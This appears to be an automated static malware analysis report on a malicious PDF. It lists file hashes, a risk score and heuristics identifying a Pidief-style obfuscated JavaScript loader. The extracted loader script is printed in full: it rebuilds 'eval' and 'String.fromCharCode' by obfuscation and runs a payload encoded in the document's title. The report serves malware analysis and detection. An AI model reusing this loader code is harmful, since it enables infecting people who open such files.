Malicious PDF — malware analysis report

Static analysis result for SHA-256 3b8cf93d5863730d…

MALICIOUS

PDF

45.4 KB First seen: 2013-07-31
MD5: 00d797989f63933184cb4f8d614445f8 SHA-1: 6379fa5d4eac1e2f1e4ea97355a2c9c1c0a10240 SHA-256: 3b8cf93d5863730dadcc1d7eb1c307f9510a8d3d5c919fed742799df2d27af97
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly suggests malicious intent. The embedded JavaScript file, javascript_obj0001_000.js, is the primary artifact. While the content of the JavaScript is not provided, its presence within a PDF and the high ML score suggest it's designed to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB22A 610 bytes
SHA-256: 05beb3d081bf6c29199d748b74dc33aaa1eb82bf63aab76cec47493e4377780b
Preview script
First 1,000 lines of the extracted script
jir='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
dotx=e('ti'+'tle');
s=dotx.substr(t.length + 8,3)+'str';
q=dotx[s](1,(1,9));
mjd=e('S'+'tring.fro'+q);
q=dotx[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	cwmrx = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	jir += mjd(cwmrx);
}
e(jir);

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